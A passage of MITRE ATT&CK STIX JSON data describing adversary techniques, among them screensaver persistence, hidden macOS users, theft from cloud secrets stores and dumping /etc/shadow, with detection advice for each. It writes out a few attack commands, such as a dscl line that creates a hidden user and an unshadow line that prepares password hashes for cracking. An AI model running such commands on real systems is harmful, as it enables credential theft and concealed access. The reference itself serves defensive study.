for malicious purposes.(Citation: Free Trial PurpleUrchin)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_deprecated":false,"x_mitre_detection":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.3","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Persona: Social Media"],"type":"attack-pattern","id":"attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8","created":"2020-10-01T01:05:42.216Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1585","external_id":"T1585"},{"source_name":"Free Trial PurpleUrchin","description":"Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.","url":"https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"},{"source_name":"NEWSCASTER2014","description":"Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.","url":"https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"},{"source_name":"BlackHatRobinSage","description":"Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.","url":"http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-16T16:19:41.568Z","name":"Obtain Capabilities","description":"Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_deprecated":false,"x_mitre_detection":"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nConsider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","x_mitre_data_sources":["Certificate: Certificate Registration","Malware Repository: Malware Metadata","Internet Scan: Response Content","Malware Repository: Malware Content"],"type":"attack-pattern","id":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","created":"2020-10-01T01:56:24.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1588","external_id":"T1588"},{"source_name":"PegasusCitizenLab","description":"Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.","url":"https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/"},{"source_name":"FireEyeSupplyChain","description":"FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.","url":"https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"},{"source_name":"DiginotarCompromise","description":"Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.","url":"https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"},{"source_name":"Recorded Future Beacon Certificates","description":"Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/cobalt-strike-servers"},{"source_name":"Splunk Kovar Certificates 2017","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"},{"source_name":"Analyzing CS Dec 2020","description":"Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.","url":"https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"},{"source_name":"NationsBuying","description":"Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.","url":"https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-07-28T18:17:34.185Z","name":"Screensaver","description":"Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Bartosz Jerzman"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Modification","File: File Creation","Command: Command Execution","Process: Process Creation","Windows Registry: Windows Registry Key Modification"],"x_mitre_permissions_required":["User"],"type":"attack-pattern","id":"attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf","created":"2020-01-24T13:51:01.210Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1546/002","external_id":"T1546.002"},{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"},{"source_name":"Wikipedia Screensaver","description":"Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.","url":"https://en.wikipedia.org/wiki/Screensaver"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1147","url":"https://attack.mitre.org/techniques/T1147"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf","description":"Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.","source_name":"Cybereason OSX Pirrit"}],"modified":"2021-12-21T16:28:00.431Z","name":"Hidden Users","description":"Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","root"],"x_mitre_is_subtechnique":false},{"modified":"2024-09-16T16:54:47.595Z","name":"Conditional Access Policies","description":"Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\n\nFor example, in Entra ID, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. \n\nBy modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Gavin Knapp","Joshua Penny"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["IaaS","Identity Provider"],"x_mitre_version":"1.1","x_mitre_data_sources":["Active Directory: Active Directory Object Modification","Cloud Service: Cloud Service Modification"],"type":"attack-pattern","id":"attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae","created":"2024-01-02T13:43:37.389Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1556/009","external_id":"T1556.009"},{"source_name":"AWS IAM Conditions","description":"AWS. (n.d.). IAM JSON policy elements: Condition. Retrieved January 2, 2024.","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html"},{"source_name":"GCP IAM Conditions","description":"Google Cloud. (n.d.). Overview of IAM Conditions. Retrieved January 2, 2024.","url":"https://cloud.google.com/iam/docs/conditions-overview"},{"source_name":"JumpCloud Conditional Access Policies","description":"JumpCloud. (n.d.). Get Started: Conditional Access Policies. Retrieved January 2, 2024.","url":"https://jumpcloud.com/support/get-started-conditional-access-policies"},{"source_name":"Microsoft Conditional Access","description":"Microsoft. (2023, November 15). What is Conditional Access?. Retrieved January 2, 2024.","url":"https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview"},{"source_name":"Okta Conditional Access Policies","description":"Okta. (2023, November 30). Conditional Access Based on Device Security Posture. Retrieved January 2, 2024.","url":"https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-30T13:28:37.416Z","name":"Create Cloud Instance","description":"An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["IaaS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Instance: Instance Creation","Instance: Instance Metadata"],"type":"attack-pattern","id":"attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c","created":"2020-05-14T14:45:15.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1578/002","external_id":"T1578.002"},{"source_name":"AWS CloudTrail Search","description":"Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.","url":"https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/"},{"source_name":"Cloud Audit Logs","description":"Google. (n.d.). Audit Logs. Retrieved June 1, 2020.","url":"https://cloud.google.com/logging/docs/audit#admin-activity"},{"source_name":"Mandiant M-Trends 2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.","url":"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"},{"source_name":"Azure Activity Logs","description":"Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.","url":"https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank","Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925","type":"attack-pattern","created":"2019-04-25T20:53:07.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1500","url":"https://attack.mitre.org/techniques/T1500"},{"description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","source_name":"ClearSky MuddyWater Nov 2018"},{"source_name":"TrendMicro WindowsAppMac","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/","description":"Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019."}],"modified":"2020-03-16T15:38:37.650Z","name":"Compile After Delivery","description":"Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Static File Analysis","Binary Analysis","Anti-virus","Host intrusion prevention systems","Signature-based detection"],"x_mitre_permissions_required":["User"],"x_mitre_system_requirements":["Compiler software (either native to the system or delivered by the adversary)"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-15T14:20:16.722Z","name":"Cloud Secrets Management Stores","description":"Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault. \n\nSecrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables. \n\nIf an adversary is able to gain sufficient privileges in a cloud environment – for example, by obtaining the credentials of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004) or compromising a service that has permission to retrieve secrets – they may be able to request secrets from the secrets manager. This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: AWS Secrets Manager)(Citation: Google Cloud Secrets)(Citation: Microsoft Azure Key Vault)\n\n**Note:** this technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005) in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Martin McCloskey, Datadog"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["IaaS"],"x_mitre_version":"1.0","x_mitre_data_sources":["Cloud Service: Cloud Service Enumeration"],"type":"attack-pattern","id":"attack-pattern--cfb525cc-5494-401d-a82b-2539ca46a561","created":"2023-09-25T12:41:26.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1555/006","external_id":"T1555.006"},{"source_name":"Sysdig ScarletEel 2.0 2023","description":"Alessandro Brucato. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved September 25, 2023.","url":"https://sysdig.com/blog/scarleteel-2-0/"},{"source_name":"AWS Secrets Manager","description":"AWS. (n.d.). Retrieve secrets from AWS Secrets Manager. Retrieved September 25, 2023.","url":"https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets.html"},{"source_name":"Google Cloud Secrets","description":"Google Cloud. (n.d.). List secrets and view secret details. Retrieved September 25, 2023.","url":"https://cloud.google.com/secret-manager/docs/view-secret-details"},{"source_name":"Permiso Scattered Spider 2023","description":"Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.","url":"https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"},{"source_name":"Microsoft Azure Key Vault","description":"Microsoft. (2023, January 13). Quickstart: Set and retrieve a secret from Azure Key Vault using Azure CLI. Retrieved September 25, 2023.","url":"https://learn.microsoft.com/en-us/azure/key-vault/secrets/quick-create-cli"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-04T13:03:54.101Z","name":"Code Repositories","description":"Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or [Unsecured Credentials](https://attack.mitre.org/techniques/T1552) contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["Itamar Mizrahi, Cymptom","Toby Kohlenberg","Josh Liburdi, @jshlbrd"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["SaaS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Application Log: Application Log Content","Logon Session: Logon Session Creation"],"type":"attack-pattern","id":"attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3","created":"2021-05-11T18:51:16.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1213/003","external_id":"T1213.003"},{"source_name":"Wired Uber Breach","description":"Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.","url":"https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/"},{"source_name":"Krebs Adobe","description":"Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021.","url":"https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-26T16:33:33.983Z","name":"Transmitted Data Manipulation","description":"Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: OS API Execution","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"x_mitre_impact_type":["Integrity"],"type":"attack-pattern","id":"attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6","created":"2020-03-02T14:27:00.693Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1565/002","external_id":"T1565.002"},{"source_name":"DOJ Lazarus Sony 2018","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.","url":"https://www.justice.gov/opa/press-release/file/1092091/download"},{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T20:48:04.491Z","name":"/etc/passwd and /etc/shadow","description":"Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_deprecated":false,"x_mitre_detection":"The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Access","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4","created":"2020-02-11T18:46:56.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1003/008","external_id":"T1003.008"},{"source_name":"Linux Password and Shadow File Formats","description":"The Linux Documentation Project. (n.d.). Linux Password and Shadow File 